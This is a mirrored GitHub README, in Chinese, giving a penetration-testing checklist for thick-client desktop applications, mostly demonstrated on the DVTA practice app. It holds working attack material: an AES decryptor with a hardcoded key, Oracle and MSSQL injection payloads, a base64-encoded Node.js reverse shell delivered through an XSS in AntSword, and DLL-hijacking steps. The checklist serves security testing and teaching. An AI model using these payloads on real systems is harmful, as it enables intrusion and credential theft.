GithubHelp home page GithubHelp logo

thelsa / cs-checklist Goto Github PK

View Code? Open in Web Editor NEW
650.0 23.0 168.0 30.85 MB

PC客户端(C-S架构)渗透测试checklist / Client side(C-S) penetration checklist

License: MIT License

cs-checklist client-side penetration

cs-checklist's Introduction

CS-checklist


目录


0x00 前言

本项目主要针对pc客户端(cs架构)渗透测试,结合自身测试经验和网络资料形成checklist,如有任何问题,欢迎联系,期待大家贡献更多的技巧和案例。


0x01 概述

PC客户端,有丰富功能的GUI,C-S架构。

cs00

//图片源自:

https://resources.infosecinstitute.com/practical-thick-client-application-penetration-testing-using-damn-vulnerable-thick-client-app-part-1/#article


0x02 开发语言

C#(.NET),JAVA,DELPHI,C,C++......


0x03 协议

TCP、HTTP(S),TDS......


0x04 数据库

oracle,mssql,db2......


0x05 测试工具

//相关工具下载:https://github.com/theLSA/hack-cs-tools

dvta: pc客户端靶场

ida pro: 静态分析工具

ollydbg:动态分析工具

CFF Explorer:PE文件分析

PEID:查壳工具

exeinfope/studype:pe文件分析

wireshark:观察流量

tcpview:观察tcp流量

echo Mirage:可拦截tcp流量

burpsuite:http(s)抓包

proxifier:全局代理流量

procmon:文件和注册表监控

regshot:注册表变化对比

process Hacker:进程分析

RegfromApp:注册表监控

WSExplorer:岁月联盟进程抓包工具

strings:查看程序的字符串


.net[反]编译:

dotpeek

de4dot

dnspy

ilspy

sae

ildasm

ilasm


Java反编译

jad

jd-gui

jadx

dex2jar

在线版:
javare.cn

www.javadecompilers.com


Reflexil:组装编辑器(可以作为ilspy插件)

Vcg:自动化代码审计工具

BinScope:二进制分析工具


0x06 代理设置

大部分客户端没有代理配置功能,需要自行设置全局代理,如下两种方法:

1)IE-internet设置-连接-局域网设置。

2)proxifier --> proxy server/proxification rules

//http的流量可以结合burpsuite方便测试(proxy server设置为burp代理地址)。

cs24

cs25

cs26


0x07 测试点


0. 信息收集

编译信息,开发环境/语言,使用协议,数据库,ip,混淆/加密,是否加壳等。


案例0-CFF查看客户端信息(如编译环境)

dvta

cs01



1. 逆向工程

反编译,源代码泄露,硬编码key/password,加解密逻辑,角色判断逻辑(0-admin,1-normaluser),后门等。


案例0-反编译获取加解密逻辑并编写解密工具

dvta

cs02

通过该逻辑和获取的信息

cs03

Encrypted Text: CTsvjZ0jQghXYWbSRcPxpQ==

AES KEY: J8gLXc454o5tW2HEF7HahcXPufj9v8k8

IV: fq20T0gMnXa6g0l4

编写解密工具

using System; using System.Collections.Generic; using System.ComponentModel; using System.Data;

using System.Drawing;

using System.Linq;

using System.Text;

using System.Threading.Tasks;

using System.Windows.Forms;

using System.Security.Cryptography;

namespace aesdecrypt

{

public partial class aesdecrypt : Form

{

public aesdecrypt()

{

InitializeComponent();

}

private void decrypt(object sender, EventArgs e)

{

String key = “J8gLXc454o5tW2HEF7HahcXPufj9v8k8”;

String IV = “fq20T0gMnXa6g0l4”;

String encryptedtext = “CTsvjZ0jQghXYWbSRcPxpQ==”;

byte[] encryptedBytes = Convert.FromBase64String(encryptedtext);

AesCryptoServiceProvider aes = new AesCryptoServiceProvider();

aes.BlockSize = 128;

aes.KeySize = 256;

aes.Key = System.Text.ASCIIEncoding.ASCII.GetBytes(key);

aes.IV = System.Text.ASCIIEncoding.ASCII.GetBytes(IV);

aes.Padding = PaddingMode.PKCS7;

aes.Mode = CipherMode.CBC;

ICryptoTransform crypto = aes.CreateDecryptor(aes.Key, aes.IV);

byte[] decryptedbytes = crypto.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length);

String decryptedString = System.Text.ASCIIEncoding.ASCII.GetString(decryptedbytes);

Console.WriteLine(“\n”);

Console.WriteLine(“##########Decryptig Database password##########\n”);

Console.WriteLine(“Decrypted Database password:” + decryptedString+”\n”);

Console.WriteLine(“##########Done##########\n”);

}

}

}

//解密代码源自https://resources.infosecinstitute.com/damn-vulnerable-thick-client-app-part-5/#article


案例1-反编译修改代码逻辑让普通用户以管理员登录

dvta

1-Isadmin

0-Normaluser

改1为0即可判断为admin

cs04

cs05



2. 信息泄露

明文敏感信息,敏感文件(如安装目录下的xxx.config)。

注册表:利用regshot比较客户端运行(如登录)前后注册表差别。

开发调试日志泄露(如dvta.exe >> log.txt)

process hacker查看客户端内存中的明文敏感数据(如账号密码/key)。

strings直接查看客户端字符串(如ip信息)。

查看源代码(如github,gitee等)


案例0-配置敏感信息泄露

dvta

cs06


案例1-内存泄露数据库账号密码

dvta

cs07


案例2-源代码含有硬编码ftp账号密码

dvta

cs08


案例3-开发调试日志泄露

dvta

cs09


案例4-某系统登录后本地保存账号密码

cs10

//本案例来源于https://blog.csdn.net/weixin_30685047/article/details/95916065



3. 传输流量

wireshark/echo Mirage/burpsuite+nopeproxy/fillder/charles

ftp等协议明文传输的账号密码

SQL语句明文传输(如利用构造注入,越权等)


案例0-正方教务系统sql语句明文传输,返回明文数据

cs11

cs12

//本案例来源于wooyun


案例1-某系统登录处数据包返回数据库帐号密码

cs28



4. 其他漏洞

用户名枚举

案例0


暴力破解

如登录功能。

案例0


弱口令

可尝试admin 123456等。


密码明文传输


SQL语句暴露

案例0

cs15


案例1

cs27


SQL注入

如登录处,万能密码

xxx’ or ‘x’=’x

xxx’ or 1=1--

输入框处,构造闭合报错,如’、’)、%’)、order by 100--等。

利用显示位或报错注出数据,原理同web注入,不同数据库大同小异。


案例0-oracle注入

' union select null,null,(select user from dual),null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--

cs16


案例1-mssql注入

111') and (select user)>0--

cs17


CSV注入

如导出excel,输入1+1,导出后看是否为2。


XSS

如Electron,NodeWebKit等。


案例0-**蚁剑xss到rce

环境:win7+phpstudy(php5.6.27-nts)+perl+nc+antsword2.0.5

xss webshell:

<?php

header('HTTP/1.1 500 <img src=# onerror=alertx>');

cs18

windows+node.js:

成功

var net = require("net"), sh = require("child_process").exec("cmd.exe");

var client = new net.Socket();

client.connect(6677, "127.0.0.1", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);

sh.stderr.pipe(client);});

<?php

header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg2Njc3LCAiMTI3LjAuMC4xIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=,base64).toString())'>");

?>

cs19

相关参考

https://www.anquanke.com/post/id/176379


命令执行


案例0-印象笔记windows客户端6.15本地文件读取和远程命令执行

http://blog.knownsec.com/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AE%B0-windows-%E5%AE%A2%E6%88%B7%E7%AB%AF-6-15-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E5%92%8C%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/


案例1-某云pc客户端命令执行挖掘过程

https://www.secpulse.com/archives/53852.html


案例2-金山WPS Mail邮件客户端远程命令执行漏洞(Mozilla系XUL程序利用技巧)

https://shuimugan.com/bug/view?bug_no=193117


测试点同web。



DLL劫持

Linux文件搜索顺序:

  1. 当前目录

  2. PATH顺序值目录


程序搜索Dll顺序:

//没提供绝对路径

1.应用程序加载的目录。

2.当前目录。

3.系统目录 (C:\Windows\System32\)。

4.16位的系统目录。

5.Windows目录。

6.PATH变量的目录。

程序可以加载攻击者放置的恶意dll。

利用procmon搜索程序加载的dll,观察name not found。

msf生成恶意dll放置于程序加载位置,运行程序即可触发payload。


案例0-dll劫持

dvta

cs20

cs21


逻辑缺陷

测试点同web。


授权认证缺陷

注册表键值,授权服务器返回信息构造。

相关参考

https://cloud.tencent.com/developer/article/1430899



未授权


案例0-正方教务系统数据库任意操作

知道ip即可接管数据库

cs22

//本案例来源于wooyun


越权


溢出



0x08 相关技巧

  1. 利用procexp --> properties --> tcp/ip 可以查看该客户端发起的网络连接,从而快速确定服务端地址

  2. wireshark直接过滤出服务器或数据库的ip或协议方便查看,如

ip.addr == 1.2.3.4&&http

  1. 如果有数据库账号,可以用数据库监控sql语句操作(如sql server profiler)。



0x09 参考资料&&相关资源

https://resources.infosecinstitute.com

cs-checklist's People

Contributors

thelsa avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

cs-checklist's Issues

关于DVTA的dll劫持测试

您好,关于DVTA的dll劫持,我在我的本地复现的时候,用procmon去监视其行为,发现DVTA加载version的时候,结果是正常的,并非本文中的name not found。请问是还需要其他配置吗?是不是要重新编译什么的?求教了。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.